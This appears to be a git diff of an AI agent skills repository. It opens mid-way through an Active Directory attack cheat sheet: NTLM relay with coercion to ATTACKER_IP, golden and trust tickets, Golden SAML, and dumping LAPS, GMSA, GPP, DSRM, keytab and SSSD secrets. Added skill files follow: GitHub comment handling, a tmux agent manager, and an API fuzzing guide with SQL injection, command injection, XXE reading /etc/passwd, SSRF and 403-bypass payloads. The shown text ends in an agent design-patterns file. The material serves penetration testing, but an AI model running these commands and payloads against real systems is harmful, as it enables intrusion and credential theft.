python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
||||
```
|
||||
|
||||
### ESC8 - NTLM Relay to Web Enrollment
|
||||
|
||||
```bash
|
||||
# Start relay
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
|
||||
# Coerce authentication
|
||||
python3 petitpotam.py ATTACKER_IP DC_IP
|
||||
|
||||
# Use certificate
|
||||
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
||||
```
|
||||
|
||||
### Shadow Credentials
|
||||
|
||||
```bash
|
||||
# Add Key Credential (pyWhisker)
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
||||
|
||||
# Get TGT with PKINIT
|
||||
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
||||
|
||||
# Get NT hash
|
||||
export KRB5CCNAME=target.ccache
|
||||
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trust Relationship Attacks
|
||||
|
||||
### Child to Parent Domain (SID History)
|
||||
|
||||
```powershell
|
||||
# Get Enterprise Admins SID from parent
|
||||
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
||||
|
||||
# Create Golden Ticket with SID History
|
||||
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
||||
```
|
||||
|
||||
### Forest to Forest (Trust Ticket)
|
||||
|
||||
```bash
|
||||
# Dump trust key
|
||||
lsadump::trust /patch
|
||||
|
||||
# Forge inter-realm TGT
|
||||
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
||||
|
||||
# Use trust ticket
|
||||
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ADFS Golden SAML
|
||||
|
||||
**Requirements:**
|
||||
- ADFS service account access
|
||||
- Token signing certificate (PFX + decryption password)
|
||||
|
||||
```bash
|
||||
# Dump with ADFSDump
|
||||
.\ADFSDump.exe
|
||||
|
||||
# Forge SAML token
|
||||
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Sources
|
||||
|
||||
### LAPS Password
|
||||
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap DC_IP -u user -p password -M laps
|
||||
```
|
||||
|
||||
### GMSA Password
|
||||
|
||||
```powershell
|
||||
# PowerShell + DSInternals
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
||||
$mp = $gmsa.'msDS-ManagedPassword'
|
||||
ConvertFrom-ADManagedPasswordBlob $mp
|
||||
```
|
||||
|
||||
```bash
|
||||
# Linux with bloodyAD
|
||||
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
||||
```
|
||||
|
||||
### Group Policy Preferences (GPP)
|
||||
|
||||
```bash
|
||||
# Find in SYSVOL
|
||||
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
||||
|
||||
# Decrypt
|
||||
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
||||
```
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
```powershell
|
||||
# Dump DSRM hash
|
||||
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
||||
|
||||
# Enable DSRM admin logon
|
||||
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Linux AD Integration
|
||||
|
||||
### CCACHE Ticket Reuse
|
||||
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
||||
# Use ticket
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
|
||||
### Extract from Keytab
|
||||
|
||||
```bash
|
||||
# List keys
|
||||
klist -k /etc/krb5.keytab
|
||||
|
||||
# Extract with KeyTabExtract
|
||||
python3 keytabextract.py /etc/krb5.keytab
|
||||
```
|
||||
|
||||
### Extract from SSSD
|
||||
|
||||
```bash
|
||||
# Database location
|
||||
/var/lib/sss/secrets/secrets.ldb
|
||||
|
||||
# Key location
|
||||
/var/lib/sss/secrets/.secrets.mkey
|
||||
|
||||
# Extract
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
55
skills/address-github-comments/SKILL.md
Normal file
55
skills/address-github-comments/SKILL.md
Normal file
@@ -0,0 +1,55 @@
|
||||
---
|
||||
name: address-github-comments
|
||||
description: Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.
|
||||
---
|
||||
|
||||
# Address GitHub Comments
|
||||
|
||||
## Overview
|
||||
|
||||
Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Ensure `gh` is authenticated.
|
||||
|
||||
```bash
|
||||
gh auth status
|
||||
```
|
||||
|
||||
If not logged in, run `gh auth login`.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Inspect Comments
|
||||
|
||||
Fetch the comments for the current branch's PR.
|
||||
|
||||
```bash
|
||||
gh pr view --comments
|
||||
```
|
||||
|
||||
Or use a custom script if available to list threads.
|
||||
|
||||
### 2. Categorize and Plan
|
||||
|
||||
- List the comments and review threads.
|
||||
- Propose a fix for each.
|
||||
- **Wait for user confirmation** on which comments to address first if there are many.
|
||||
|
||||
### 3. Apply Fixes
|
||||
|
||||
Apply the code changes for the selected comments.
|
||||
|
||||
### 4. Respond to Comments
|
||||
|
||||
Once fixed, respond to the threads as resolved.
|
||||
|
||||
```bash
|
||||
gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
|
||||
```
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
|
||||
- **Not verifying auth**: Check `gh auth status` before starting.
|
||||
40
skills/agent-manager-skill/SKILL.md
Normal file
40
skills/agent-manager-skill/SKILL.md
Normal file
@@ -0,0 +1,40 @@
|
||||
---
|
||||
name: agent-manager-skill
|
||||
description: Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.
|
||||
---
|
||||
|
||||
# Agent Manager Skill
|
||||
|
||||
## When to use
|
||||
|
||||
Use this skill when you need to:
|
||||
|
||||
- run multiple local CLI agents in parallel (separate tmux sessions)
|
||||
- start/stop agents and tail their logs
|
||||
- assign tasks to agents and monitor output
|
||||
- schedule recurring agent work (cron)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Install `agent-manager-skill` in your workspace:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/fractalmind-ai/agent-manager-skill.git
|
||||
```
|
||||
|
||||
## Common commands
|
||||
|
||||
```bash
|
||||
python3 agent-manager/scripts/main.py doctor
|
||||
python3 agent-manager/scripts/main.py list
|
||||
python3 agent-manager/scripts/main.py start EMP_0001
|
||||
python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
|
||||
python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
|
||||
Follow teams/fractalmind-ai-maintenance.md Workflow
|
||||
EOF
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Requires `tmux` and `python3`.
|
||||
- Agents are configured under an `agents/` directory (see the repo for examples).
|
||||
430
skills/api-fuzzing-bug-bounty/SKILL.md
Normal file
430
skills/api-fuzzing-bug-bounty/SKILL.md
Normal file
@@ -0,0 +1,430 @@
|
||||
---
|
||||
name: API Fuzzing for Bug Bounty
|
||||
description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
|
||||
---
|
||||
|
||||
# API Fuzzing for Bug Bounty
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Burp Suite or similar proxy tool
|
||||
- API wordlists (SecLists, api_wordlist)
|
||||
- Understanding of REST/GraphQL/SOAP protocols
|
||||
- Python for scripting
|
||||
- Target API endpoints and documentation (if available)
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Identified API vulnerabilities
|
||||
- IDOR exploitation proofs
|
||||
- Authentication bypass techniques
|
||||
- SQL injection points
|
||||
- Unauthorized data access documentation
|
||||
|
||||
---
|
||||
|
||||
## API Types Overview
|
||||
|
||||
| Type | Protocol | Data Format | Structure |
|
||||
|------|----------|-------------|-----------|
|
||||
| SOAP | HTTP | XML | Header + Body |
|
||||
| REST | HTTP | JSON/XML/URL | Defined endpoints |
|
||||
| GraphQL | HTTP | Custom Query | Single endpoint |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: API Reconnaissance
|
||||
|
||||
Identify API type and enumerate endpoints:
|
||||
|
||||
```bash
|
||||
# Check for Swagger/OpenAPI documentation
|
||||
/swagger.json
|
||||
/openapi.json
|
||||
/api-docs
|
||||
/v1/api-docs
|
||||
/swagger-ui.html
|
||||
|
||||
# Use Kiterunner for API discovery
|
||||
kr scan https://target.com -w routes-large.kite
|
||||
|
||||
# Extract paths from Swagger
|
||||
python3 json2paths.py swagger.json
|
||||
```
|
||||
|
||||
### Step 2: Authentication Testing
|
||||
|
||||
```bash
|
||||
# Test different login paths
|
||||
/api/mobile/login
|
||||
/api/v3/login
|
||||
/api/magic_link
|
||||
/api/admin/login
|
||||
|
||||
# Check rate limiting on auth endpoints
|
||||
# If no rate limit → brute force possible
|
||||
|
||||
# Test mobile vs web API separately
|
||||
# Don't assume same security controls
|
||||
```
|
||||
|
||||
### Step 3: IDOR Testing
|
||||
|
||||
Insecure Direct Object Reference is the most common API vulnerability:
|
||||
|
||||
```bash
|
||||
# Basic IDOR
|
||||
GET /api/users/1234 → GET /api/users/1235
|
||||
|
||||
# Even if ID is email-based, try numeric
|
||||
/?user_id=111 instead of /?user_id=user@mail.com
|
||||
|
||||
# Test /me/orders vs /user/654321/orders
|
||||
```
|
||||
|
||||
**IDOR Bypass Techniques:**
|
||||
|
||||
```bash
|
||||
# Wrap ID in array
|
||||
{"id":111} → {"id":[111]}
|
||||
|
||||
# JSON wrap
|
||||
{"id":111} → {"id":{"id":111}}
|
||||
|
||||
# Send ID twice
|
||||
URL?id=<LEGIT>&id=<VICTIM>
|
||||
|
||||
# Wildcard injection
|
||||
{"user_id":"*"}
|
||||
|
||||
# Parameter pollution
|
||||
/api/get_profile?user_id=<victim>&user_id=<legit>
|
||||
{"user_id":<legit_id>,"user_id":<victim_id>}
|
||||
```
|
||||
|
||||
### Step 4: Injection Testing
|
||||
|
||||
**SQL Injection in JSON:**
|
||||
|
||||
```json
|
||||
{"id":"56456"} → OK
|
||||
{"id":"56456 AND 1=1#"} → OK
|
||||
{"id":"56456 AND 1=2#"} → OK
|
||||
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
|
||||
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
|
||||
```
|
||||
|
||||
**Command Injection:**
|
||||
|
||||
```bash
|
||||
# Ruby on Rails
|
||||
?url=Kernel#open → ?url=|ls
|
||||
|
||||
# Linux command injection
|
||||
api.url.com/endpoint?name=file.txt;ls%20/
|
||||
```
|
||||
|
||||
**XXE Injection:**
|
||||
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
||||
```
|
||||
|
||||
**SSRF via API:**
|
||||
|
||||
```html
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
```
|
||||
|
||||
**.NET Path.Combine Vulnerability:**
|
||||
|
||||
```bash
|
||||
# If .NET app uses Path.Combine(path_1, path_2)
|
||||
# Test for path traversal
|
||||
https://example.org/download?filename=a.png
|
||||
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
|
||||
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
|
||||
```
|
||||
|
||||
### Step 5: Method Testing
|
||||
|
||||
```bash
|
||||
# Test all HTTP methods
|
||||
GET /api/v1/users/1
|
||||
POST /api/v1/users/1
|
||||
PUT /api/v1/users/1
|
||||
DELETE /api/v1/users/1
|
||||
PATCH /api/v1/users/1
|
||||
|
||||
# Switch content type
|
||||
Content-Type: application/json → application/xml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## GraphQL-Specific Testing
|
||||
|
||||
### Introspection Query
|
||||
|
||||
Fetch entire backend schema:
|
||||
|
||||
```graphql
|
||||
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
|
||||
```
|
||||
|
||||
**URL-encoded version:**
|
||||
|
||||
```
|
||||
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
|
||||
```
|
||||
|
||||
### GraphQL IDOR
|
||||
|
||||
```graphql
|
||||
# Try accessing other user IDs
|
||||
query {
|
||||
user(id: "OTHER_USER_ID") {
|
||||
email
|
||||
password
|
||||
creditCard
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL SQL/NoSQL Injection
|
||||
|
||||
```graphql
|
||||
mutation {
|
||||
login(input: {
|
||||
email: "test' or 1=1--"
|
||||
password: "password"
|
||||
}) {
|
||||
success
|
||||
jwt
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Rate Limit Bypass (Batching)
|
||||
|
||||
```graphql
|
||||
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
|
||||
```
|
||||
|
||||
### GraphQL DoS (Nested Queries)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts { ... }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL XSS
|
||||
|
||||
```bash
|
||||
# XSS via GraphQL endpoint
|
||||
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
|
||||
|
||||
# URL-encoded XSS
|
||||
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
|
||||
```
|
||||
|
||||
### GraphQL Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| GraphCrawler | Schema discovery |
|
||||
| graphw00f | Fingerprinting |
|
||||
| clairvoyance | Schema reconstruction |
|
||||
| InQL | Burp extension |
|
||||
| GraphQLmap | Exploitation |
|
||||
|
||||
---
|
||||
|
||||
## Endpoint Bypass Techniques
|
||||
|
||||
When receiving 403/401, try these bypasses:
|
||||
|
||||
```bash
|
||||
# Original blocked request
|
||||
/api/v1/users/sensitivedata → 403
|
||||
|
||||
# Bypass attempts
|
||||
/api/v1/users/sensitivedata.json
|
||||
/api/v1/users/sensitivedata?
|
||||
/api/v1/users/sensitivedata/
|
||||
/api/v1/users/sensitivedata??
|
||||
/api/v1/users/sensitivedata%20
|
||||
/api/v1/users/sensitivedata%09
|
||||
/api/v1/users/sensitivedata#
|
||||
/api/v1/users/sensitivedata&details
|
||||
/api/v1/users/..;/sensitivedata
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Exploitation
|
||||
|
||||
### PDF Export Attacks
|
||||
|
||||
```html
|
||||
<!-- LFI via PDF export -->
|
||||
<iframe src="file:///etc/passwd" height=1000 width=800>
|
||||
|
||||
<!-- SSRF via PDF export -->
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
|
||||
<!-- Port scanning -->
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
|
||||
<!-- IP disclosure -->
|
||||
<img src="https://iplogger.com/yourcode.gif"/>
|
||||
```
|
||||
|
||||
### DoS via Limits
|
||||
|
||||
```bash
|
||||
# Normal request
|
||||
/api/news?limit=100
|
||||
|
||||
# DoS attempt
|
||||
/api/news?limit=9999999999
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Common API Vulnerabilities Checklist
|
||||
|
||||
| Vulnerability | Description |
|
||||
|---------------|-------------|
|
||||
| API Exposure | Unprotected endpoints exposed publicly |
|
||||
| Misconfigured Caching | Sensitive data cached incorrectly |
|
||||
| Exposed Tokens | API keys/tokens in responses or URLs |
|
||||
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
|
||||
| IDOR / BOLA | Broken Object Level Authorization |
|
||||
| Undocumented Endpoints | Hidden admin/debug endpoints |
|
||||
| Different Versions | Security gaps in older API versions |
|
||||
| Rate Limiting | Missing or bypassable rate limits |
|
||||
| Race Conditions | TOCTOU vulnerabilities |
|
||||
| XXE Injection | XML parser exploitation |
|
||||
| Content Type Issues | Switching between JSON/XML |
|
||||
| HTTP Method Tampering | GET→DELETE/PUT abuse |
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Vulnerability | Test Payload | Risk |
|
||||
|---------------|--------------|------|
|
||||
| IDOR | Change user_id parameter | High |
|
||||
| SQLi | `' OR 1=1--` in JSON | Critical |
|
||||
| Command Injection | `; ls /` | Critical |
|
||||
| XXE | DOCTYPE with ENTITY | High |
|
||||
| SSRF | Internal IP in params | High |
|
||||
| Rate Limit Bypass | Batch requests | Medium |
|
||||
| Method Tampering | GET→DELETE | High |
|
||||
|
||||
---
|
||||
|
||||
## Tools Reference
|
||||
|
||||
| Category | Tool | URL |
|
||||
|----------|------|-----|
|
||||
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
|
||||
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
|
||||
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
|
||||
| API Security | apicheck | github.com/BBVA/apicheck |
|
||||
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
|
||||
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
|
||||
| API Toolkit | APIKit | github.com/API-Security/APIKit |
|
||||
| API Keys | API Guesser | api-guesser.netlify.app |
|
||||
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
|
||||
| GraphQL | InQL | github.com/doyensec/inql |
|
||||
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
|
||||
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
|
||||
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
|
||||
| GraphQL | batchql | github.com/assetnote/batchql |
|
||||
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
|
||||
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
|
||||
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
|
||||
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
|
||||
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
|
||||
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Test mobile, web, and developer APIs separately
|
||||
- Check all API versions (/v1, /v2, /v3)
|
||||
- Validate both authenticated and unauthenticated access
|
||||
|
||||
**Must Not:**
|
||||
- Assume same security controls across API versions
|
||||
- Skip testing undocumented endpoints
|
||||
- Ignore rate limiting checks
|
||||
|
||||
**Should:**
|
||||
- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
|
||||
- Check archive.org for historical API endpoints
|
||||
- Test for race conditions on sensitive operations
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: IDOR Exploitation
|
||||
|
||||
```bash
|
||||
# Original request (own data)
|
||||
GET /api/v1/invoices/12345
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Modified request (other user's data)
|
||||
GET /api/v1/invoices/12346
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Response reveals other user's invoice data
|
||||
```
|
||||
|
||||
### Example 2: GraphQL Introspection
|
||||
|
||||
```bash
|
||||
curl -X POST https://target.com/graphql \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
|
||||
| 401 on all endpoints | Try adding `?user_id=1` parameter |
|
||||
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
|
||||
| Rate limited | Use IP rotation or batch requests |
|
||||
| Can't find endpoints | Check Swagger, archive.org, JS files |
|
||||
761
skills/autonomous-agent-patterns/SKILL.md
Normal file
761
skills/autonomous-agent-patterns/SKILL.md
Normal file
@@ -0,0 +1,761 @@
|
||||
---
|
||||
name: autonomous-agent-patterns
|
||||
description: "Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants."
|
||||
---
|
||||
|
||||
# 🕹️ Autonomous Agent Patterns
|
||||
|
||||
> Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex).
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Building autonomous AI agents
|
||||
- Designing tool/function calling APIs
|
||||
- Implementing permission and approval systems
|
||||
- Creating browser automation for agents
|
||||
- Designing human-in-the-loop workflows
|
||||
|
||||
---
|
||||
|
||||
## 1. Core Agent Architecture
|
||||
|
||||
### 1.1 Agent Loop
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ AGENT LOOP │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
|
||||
│ │ Think │───▶│ Decide │───▶│ Act │ │
|
||||
│ │ (Reason) │ │ (Plan) │ │ (Execute)│ │
|
||||
│ └──────────┘ └──────────┘ └──────────┘ │
|
||||
│ ▲ │ │
|
||||
│ │ ┌──────────┐ │ │
|
||||
│ └─────────│ Observe │◀─────────┘ │
|
||||
│ │ (Result) │ │
|
||||
│ └──────────┘ │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
```python
|
||||
class AgentLoop:
|
||||
def __init__(self, llm, tools, max_iterations=50):
|
||||
self.llm = llm
|
||||
self.tools = {t.name: t for t in tools}
|
||||
self.max_iterations = max_iterations
|
||||
self.history = []
|
||||
|
||||
def run(self, task: str) -> str:
|
||||
self.history.append({"role": "user", "content": task})
|
||||
|
||||
for i in range(self.max_iterations):
|
||||
# Think: Get LLM response with tool options
|
||||
response = self.llm.chat(
|
||||
messages=self.history,
|
||||
tools=self._format_tools(),
|
||||
tool_choice="auto"
|
||||
)
|
||||
|
||||
# Decide: Check if agent wants to use a tool
|
||||
if response.tool_calls:
|
||||
for tool_call in response.tool_calls:
|
||||
# Act: Execute the tool
|
||||
result = self._execute_tool(tool_call)
|
||||
|
||||
# Observe: Add result to history
|
||||
self.history.append({
|
||||
"role": "tool",
|
||||
"tool_call_id": tool_call.id,
|
||||
"content": str(result)
|
||||
})
|
||||
else:
|
||||
# No more tool calls = task complete
|
||||
return response.content
|
||||
|
||||
return "Max iterations reached"
|
||||
|
||||
def _execute_tool(self, tool_call) -> Any:
|
||||
tool = self.tools[tool_call.name]
|
||||
args = json.loads(tool_call.arguments)
|
||||
return tool.execute(**args)
|
||||
```
|
||||
|
||||
### 1.2 Multi-Model Architecture
|
||||
|
||||
```python
|
||||
class MultiModelAgent:
|
||||
"""
|
||||
Use different models for different purposes:
|
||||
- Fast model for planning
|
||||
- Powerful model for complex reasoning
|
||||
- Specialized model for code generation
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.models = {
|
||||
"fast": "gpt-3.5-turbo", # Quick decisions
|
||||
"smart": "gpt-4-turbo", # Complex reasoning
|
||||
"code": "claude-3-sonnet", # Code generation
|
||||
}
|
||||
|
||||
def select_model(self, task_type: str) -> str:
|
||||
if task_type == "planning":
|
||||
return self.models["fast"]
|
||||
elif task_type == "analysis":
|
||||
return self.models["smart"]
|
||||
elif task_type == "code":
|
||||
return self.models["code"]
|
||||
return self.models["smart"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Tool Design Patterns
|
||||
|
||||
### 2.1 Tool Schema
|
||||
|
||||
```python
|
||||
class Tool:
|
||||
"""Base class for agent tools"""
|
||||
|
||||
@property
|
||||
def schema(self) -> dict:
|
||||
"""JSON Schema for the tool"""
|
||||
return {
|
||||
"name": self.name,
|
||||
"description": self.description,
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": self._get_parameters(),
|
||||
"required": self._get_required()
|
||||
}
|
||||
}
|
||||
|
||||
def execute(self, **kwargs) -> ToolResult:
|
||||
"""Execute the tool and return result"""
|
||||
raise NotImplementedError
|
||||
|
||||
class ReadFileTool(Tool):
|
||||
name = "read_file"
|
||||
description = "Read the contents of a file from the filesystem"
|
||||
|
||||
def _get_parameters(self):
|
||||
return {
|
||||
"path": {
|
||||
"type": "string",
|
||||
"description": "Absolute path to the file"
|
||||
},
|
||||
"start_line": {
|
||||
"type": "integer",
|
||||
"description": "Line to start reading from (1-indexed)"
|
||||
},
|
||||
"end_line": {
|
||||
"type": "integer",
|
||||
"description": "Line to stop reading at (inclusive)"
|
||||
}
|
||||
}
|
||||
|
||||
def _get_required(self):
|
||||
return ["path"]
|
||||
|
||||
def execute(self, path: str, start_line: int = None, end_line: int = None) -> ToolResult:
|
||||
try:
|
||||
with open(path, 'r') as f:
|
||||
lines = f.readlines()
|
||||
|
||||
if start_line and end_line:
|
||||
lines = lines[start_line-1:end_line]
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output="".join(lines)
|
||||
)
|
||||
except FileNotFoundError:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"File not found: {path}"
|
||||
)
|
||||
```
|
||||
|
||||
### 2.2 Essential Agent Tools
|
||||
|
||||
```python
|
||||
CODING_AGENT_TOOLS = {
|
||||
# File operations
|
||||
"read_file": "Read file contents",
|
||||
"write_file": "Create or overwrite a file",
|
||||
"edit_file": "Make targeted edits to a file",
|
||||
"list_directory": "List files and folders",
|
||||
"search_files": "Search for files by pattern",
|
||||
|
||||
# Code understanding
|
||||
"search_code": "Search for code patterns (grep)",
|
||||
"get_definition": "Find function/class definition",
|
||||
"get_references": "Find all references to a symbol",
|
||||
|
||||
# Terminal
|
||||
"run_command": "Execute a shell command",
|
||||
"read_output": "Read command output",
|
||||
"send_input": "Send input to running command",
|
||||
|
||||
# Browser (optional)
|
||||
"open_browser": "Open URL in browser",
|
||||
"click_element": "Click on page element",
|
||||
"type_text": "Type text into input",
|
||||
"screenshot": "Capture screenshot",
|
||||
|
||||
# Context
|
||||
"ask_user": "Ask the user a question",
|
||||
"search_web": "Search the web for information"
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 Edit Tool Design
|
||||
|
||||
```python
|
||||
class EditFileTool(Tool):
|
||||
"""
|
||||
Precise file editing with conflict detection.
|
||||
Uses search/replace pattern for reliable edits.
|
||||
"""
|
||||
|
||||
name = "edit_file"
|
||||
description = "Edit a file by replacing specific content"
|
||||
|
||||
def execute(
|
||||
self,
|
||||
path: str,
|
||||
search: str,
|
||||
replace: str,
|
||||
expected_occurrences: int = 1
|
||||
) -> ToolResult:
|
||||
"""
|
||||
Args:
|
||||
path: File to edit
|
||||
search: Exact text to find (must match exactly, including whitespace)
|
||||
replace: Text to replace with
|
||||
expected_occurrences: How many times search should appear (validation)
|
||||
"""
|
||||
with open(path, 'r') as f:
|
||||
content = f.read()
|
||||
|
||||
# Validate
|
||||
actual_occurrences = content.count(search)
|
||||
if actual_occurrences != expected_occurrences:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Expected {expected_occurrences} occurrences, found {actual_occurrences}"
|
||||
)
|
||||
|
||||
if actual_occurrences == 0:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error="Search text not found in file"
|
||||
)
|
||||
|
||||
# Apply edit
|
||||
new_content = content.replace(search, replace)
|
||||
|
||||
with open(path, 'w') as f:
|
||||
f.write(new_content)
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Replaced {actual_occurrences} occurrence(s)"
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Permission & Safety Patterns
|
||||
|
||||
### 3.1 Permission Levels
|
||||
|
||||
```python
|
||||
class PermissionLevel(Enum):
|
||||
# Fully automatic - no user approval needed
|
||||
AUTO = "auto"
|
||||
|
||||
